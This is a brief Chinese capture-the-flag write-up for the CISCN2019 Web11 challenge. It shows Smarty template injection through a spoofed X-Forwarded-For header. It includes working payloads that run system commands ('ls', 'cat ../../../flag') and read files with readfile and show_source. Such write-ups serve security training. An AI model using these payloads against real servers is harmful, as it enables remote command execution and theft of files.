[CISCN2019 华东南赛区]Web11
知识点
- SSTI
- smarty
题目给了提示,Build With Smarty
看到有X-Forwarded-For,抓包添加
X-Forwarded-For: 127.0.0.1
发现Current IP被修改成我们输入的值
上SSTI图
测试一下是否是smarty
X-Forwarded-For: 7{*comment*}7
正常返回77,说明确实是smarty,上smarty常用payload
{if phpinfo()}{/if} {if system('ls')}{/if} { readfile('/flag') } {if show_source('/flag')}{/if} {if system('cat ../../../flag')}{/if}